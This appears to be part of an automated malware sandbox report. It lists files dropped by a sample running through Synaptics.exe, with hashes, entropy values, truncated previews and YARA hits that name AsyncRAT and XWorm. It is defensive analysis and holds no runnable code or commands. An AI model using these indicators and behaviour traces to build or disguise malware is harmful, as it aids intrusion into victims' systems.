Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="r97bfW7JVJUWvkypRg38dA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\chrome.exe

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	182272
Entropy (8bit):	6.778841629892176
Encrypted:	false
SSDEEP:	3072:zr8WDrCe7WLuzeHpl18fCtnRPF9EVnb43jaI5gr/uHqZLWfp2KkvL5kdnQB:PueqmCtnRPF9cCGr/uH0gkSdQB
MD5:	D307A8D049BC1C09C5C3B972F3609FD3
SHA1:	D84D853F3BD3E3DADFE2CB5E4A294B83780A3F3D
SHA-256:	C8FB712D11C1F2AE2BC71F58C2D859B0F2F45AA9ED88F6C9F42E89217D03DF48
SHA-512:	7D3DE68A9DC7AD364B0E8A37F8A56E556FF774537FDF93AF869BEA4CD14DDD3C0205BD74FBDD66FCDAB5F1FA6E9D5F10F3C8C66D99BF5235109DE51975A2BF7F
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1717760
Entropy (8bit):	6.588465201187146
Encrypted:	false
SSDEEP:	24576:OJ39LyjbJkQFMhmC+6GD91J39LyjbJkQFMhmC+6GD9d7nan9:OHyjtk2MYC5GDTHyjtk2MYC5GDPnan9
MD5:	DB7059664CB31CECEF172F74DD3C84C4
SHA1:	AF53EC2FAE3B4A0B3681B3AE34FECB716FD55B8D
SHA-256:	0EFE6623A35A9BD2C4B530C6CF43091F927EE81BE6A1AAF75BF7C7A5FEB7A0CC
SHA-512:	13017534267419A521FFB57C3E83B241EA0223C1221A728935831110C3B6E7D62C25787BFC4990C208788A125723B80A51D68CF004B114A5D5AE23ABAA2FC6AA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\cyXtjfIL.exe, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\cyXtjfIL.ico

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 colors
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.430994574300371
Encrypted:	false
SSDEEP:	48:fTM5o18iaNOU7pltAHBg5aw113qn/7e6ZWw5S+BHH1rHGP:fTYK8riAa+1iZWw5S+Xo
MD5:	CA7F4928C6F8F6F78FB5634B62CAB25E
SHA1:	1FBFB0FA5F5C8ABC49BB2E647421708D64160D08
SHA-256:	9BE2B895F778A23C31BD249CE0EB0FCE6AA3ABB49AA6BB50DDE07D5E11F4C7E1
SHA-512:	97DC4A8F515C249269F850E40C39F0465851317A7AC6CB94D6955AE3B9539C0305CBDC1F3B205BBB178F296420BBB352C27D33F0484AD3FDA552C960EEA1BA7C
Malicious:	false
Preview:	...... .............(... ...@..... .....................................................................333.333.;;;.---.999.999.000.'''. .................................................................................333.999.>>>%>>>:===K<<<Z===d===h===h<<<a>>>W===G:::5@@@ 777.....................................................................>>>->>>^???.>>>.>>>.668.jif......SXX.744.>>>.???.@@@.>>>R:::#$$$.........................................................>>>)>>>\|===.SPH.......................................<77.>>>.===e999.....................................................+++.===;@@?...t...........................................{...g...=33.;;;'.........................................................A..V..j...............................................^...I...5..D.....................................................$..8..L...............................................x...?...+..........................................................-..X..g...

C:\Users\user\AppData\Local\Temp\dyQonPD.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.269812839665431
Encrypted:	false
SSDEEP:	24:bsF+0o3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+n3+pAZewRDK4mW
MD5:	3EB9C5F28DFE5FDD57B24323F8298E90
SHA1:	7B530DF2CC8DFE295212FB13F047AAC27F478C83
SHA-256:	A9738FBD786AB2FD61E2E44E0741BD4AC2CE6B9B061A8DC1AB04902DF22095E8
SHA-512:	E6BDAB8F2C3B386CF7F2A61B7DA9F1F7F9B9BF52BD6E63096622F521D4A3686E7D9F43372CFF5E822E739A93A4C409E0631080FAB62A212CE6B5379EA0688B83
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="qP2c8GoJIXZ6039LRp78Ng">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\g4Ralry.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.241151376774497
Encrypted:	false
SSDEEP:	24:bsF+0TbSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+c+pAZewRDK4mW
MD5:	4C4FD03C4E2A2545E2CC7D01F59A29D5
SHA1:	FBD4D273A7FBF41F6A192098122E54E7878C264A
SHA-256:	E034ABD52DB7F912A53EE48A32A956B8162F8C1394142260462547C0DB73FC3A
SHA-512:	7591E704E9F0C3D2BA8C30D442E218AFDAB8A18320B2B205A094B050135A7B46F3C8280298FADA4D64C1B94A272A61AF70AAC940EBAE6AD5D0BB62E67E8C5504
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ha3f_br5knw03pcj0X-fjw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\hS3bXMt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.266712335164384
Encrypted:	false
SSDEEP:	24:bsF+0o0SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+J0+pAZewRDK4mW
MD5:	FAECC3A3CADD61F8ACE58A3494E8EB3A
SHA1:	B72AA546D5B614BE64D85B84E9B41EEBABDF66E8
SHA-256:	2DD4186CDDDD0D1D714F06A0323F51CBD37B05374D9D0116EEFF9AF785141F37
SHA-512:	4FF215F4F982103EB8DF756B78F5E1AACB7D60E6FF8C78FB847347EE55618A8F737CEE110355F3920EB0C2A964D423B4743A2DE94BE14390DBF0CE17E9B912EF
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="UAQ-x6Yv37C5j97gJypPpg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\hSjQzcB.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.255836572763088
Encrypted:	false
SSDEEP:	24:bsF+0lSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+i+pAZewRDK4mW
MD5:	AF4AFEF90DFC498BCBE042D02F84F1A7
SHA1:	ECF849D01AB4A1827E93779CDF0B6061D17DB108
SHA-256:	F7B4A303F465BD7205AB07706FD0F3FCE4B652BF502FC9CC214320423ACA3BA5
SHA-512:	CDCFC8872F077F8ADA0AD8DD03EAC258E1496524F643C6A28CAB3A9B0B4523DA0FD6BEB44724B4EB5A90AE9630AD647A39F19383A8FF9325F370116F2B3205F4
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mvFgqoGZfvjNgi93hq2_Pw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\inKF2RU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.256605768070258
Encrypted:	false
SSDEEP:	24:bsF+0rSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+U+pAZewRDK4mW
MD5:	A42E56ED3CBAAF3696FF9DA224D0EAF9
SHA1:	0041C7CC8C051C8D10BC9DA1469E7E4421F6E100
SHA-256:	271384C7732100CC835120258DD0C832FB55573104DC022B3EC6CE92967BE745
SHA-512:	2742236D295C047985C880724F41170BD2587A35E9DB68830EE9D7AFE1EF2D69450963A54FFF8963601986523E7F63AD16318B439EAD3D39CD7EC31137AAD48A
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ryM8Eds4EgA1wusvLyCH6g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\jIedmMJ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.248914200144442
Encrypted:	false
SSDEEP:	24:bsF+0w5SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+J+pAZewRDK4mW
MD5:	C42B8A8F410760E20BEC99B61C9E2731
SHA1:	E7B3DD2ED300CAAFC928AB1150BEA34E2A52F5AA
SHA-256:	9F591D330EB5911E1DFFF0767BC46D3B8D594F56D4DB126A36437A83A53364D6
SHA-512:	B7BAC61ABDE20E1581D6FDE604C4564B83BF265861CD4A3A938D8ED50E1A7E0832C9D399EDB737BA58F49B1EC00A7A25EE835038A88EEF19611220BCEC5F72B1
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="vUQvtd-izIVudnEFf52ikw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\kP164Ro.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.259593068777281
Encrypted:	false
SSDEEP:	24:bsF+0PXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+WX+pAZewRDK4mW
MD5:	CC11DC3D18D2F4CC8FE76A519D48036A
SHA1:	3C12ABDFEE2228F8EE40184D82C9D1D7C882BB05
SHA-256:	79350143D23A58BA48B0D710384ADE1ECC523265A0E6051BD7BA7B04D0FAC3A5
SHA-512:	4AC5E6EC383F24F30908CC41277937FACE9BB38C7EEA30EDDFB0984AA5C81616378254060A4E7F7AF2D28566F8D3F4593142C388FB96D04CFA6AC6FBE20DC820
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Q3fSwisGPQ4dKXorzxP7Lw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\mnmJwSz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.260093711582286
Encrypted:	false
SSDEEP:	24:bsF+0iHSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+J+pAZewRDK4mW
MD5:	BB02C98D3C3CE7545A1A3B9B9E7DA179
SHA1:	7E496554BEBF46E04D2A07DE9C851F8E85BC940F
SHA-256:	46E8B1AB0952476F850398576904A25D29FE9F5756F2877138F6E85CA91A3E89
SHA-512:	BAF85E00520B5A4E965DF32D550B5B4C9E5F9AF3790EB8B04327F54070080E304F26E6A4447EF816828E72C57DC110165718C3D05C2C03114F0EFDD4FB386847
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GhDw_ptnYU0K07R_Hf7dOQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\qlnV7LK.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.264147920811435
Encrypted:	false
SSDEEP:	24:bsF+0ORSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+tR+pAZewRDK4mW
MD5:	BBF85E9F5CE8CFBD096BE9447E605138
SHA1:	117057A19B65B6A14F70EA98EFDB934C4586D9A2
SHA-256:	80B17A89470A988C17821A3BC73643117B213C1476C82A902B5CD66D5A90B026
SHA-512:	CBC50EB04FA2688169DE01984179A0070F7CFC794F6204CC4B77D862AADE0D9973E310832CE34FDA7B6CFA97EA62DC0CC2E492E8E5CD4BEF6144A5E51364AFB4
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xLgEzb0GIhQfGmzZJZnjKg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\tmp5023.tmp

Download File

Process:	C:\Users\user\Desktop\F.exe
File Type:	data
Category:	modified
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:g7ekn:gikn
MD5:	577F6FF6E86B170E42C30F011A3D40A1
SHA1:	1236BE96C71AD24A3B9FAA26EDDA684EA8B80CAA
SHA-256:	230453FE177BDCE035F6CEBF767E2879E9FDE555D2EDC6AEB2375C481A633602
SHA-512:	42E47F5BF6A120FF317D3EBB63A449600AAFFC6961D8B679341F64656ABE3768E3D247E389858E3E9905E7550DB597771A79A0E60C8A82B533553E45859EE912
Malicious:	false
Preview:	}h....&A

C:\Users\user\AppData\Local\Temp\tx2J3ug.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.272582602186472
Encrypted:	false
SSDEEP:	24:bsF+0X3SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+s+pAZewRDK4mW
MD5:	987C027D208591F05F931CFE55476C65
SHA1:	5C4927A02A0758F0CDED02DCE70A1F913FE91A9E
SHA-256:	520BCFD5455E7B0639BB4E0642F75A3CC265B96E5093FA4F04DDBC191E331483
SHA-512:	41AC2C689E496381DC0CED3E128D4F0EDD20B40A58EF729554A8DF1AC8D43EB80DF5259142C18636302B577B340A60B990E18C397F01C7CEACCCD0D1078BBA7B
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="lzqY33G3vDtjdEjJ8FZhbQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\~$63KxJoFw.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:sYp5lFltt:sYp5Nv
MD5:	B77267835A6BEAC785C351BDE8E1A61C
SHA1:	FABD93A92989535D43233E3DB9C6579D8174740E
SHA-256:	3B222E766EADC8BC9A8A90AC32FA591F313545B7E8C5D481D378AE307FA798C3
SHA-512:	FFFCBA958E9BD56F284DA19592F124C48B013FCDA2FBE65B3EB38BB644C2B0C978E6DAE99EF213B054813C7212E119B09236A6FFF342D32E52C84DD26DE1E033
Malicious:	false
Preview:	.user ..a.l.f.o.n.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF61C2F6E59CF9CDBC.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8UO2W5AUTJY88OVWGV4H.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7143896280408013
Encrypted:	false
SSDEEP:	48:Jh+71aCSbU2cy+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:Do1aCvVukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	4384C246F7D9867DA7318026E693F0E2
SHA1:	7BA913666E0CE0C7C0571A4AB40406ADD3265B66
SHA-256:	EB51D5A6AA915756590E4FD407B874FACAAEF9C8C38449EF0D803ACD3F4E7A03
SHA-512:	68BCA455584E448529D35850AB0C168BEC884E7C2484A171F3BB5F6C228144EAE85132DF98696E519782569E511D10848748E719BD9E1E18991ED22FE9BC33D0
Malicious:	false
Preview:	...................................FL..................F.".. ...d........s....z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M.....TU.p;....Yz.;.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.Xd&....B.....................Bdg.A.p.p.D.a.t.a...B.V.1......Xk&..Roaming.@......DWSl.Xk&....C.........................R.o.a.m.i.n.g.....\.1......Xj&..MICROS~1..D......DWSl.Xk&....D.......................=.M.i.c.r.o.s.o.f.t.....V.1.....DW r..Windows.@......DWSl.X`&....E.........................W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl.X`&....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl.X`&....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSl.Xk&....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSlDW.n....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K22TP4OK8KK0LRUN1Y7F.temp

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.7126680287595364
Encrypted:	false
SSDEEP:	48:JTlBaCSbU2K+DrukvhkvklCywrn2B/hmyL7cBSogZomh/hmyL7cBSogZoS1:5jaCvoukvhkvCCt2/hhL5HJ/hhL5HZ
MD5:	306C624BDAE630981AFE47B32C9B02E3
SHA1:	F333C239B3BF55E82BAC44E8794DF247E65F236C
SHA-256:	67C9CFA2BB7ABDC86B08B2C6AC679D85D3678D890008CA3B74F958605DB33BC8
SHA-512:	B14278725D5C2E1F74E6ACAF4B7E7825C8D83164B254428CD6E8C31B599E4A2D03AB9D3255467774E7446D9155C45E6AA92D9386F77DCB24947DD2BF7BA647FF
Malicious:	false
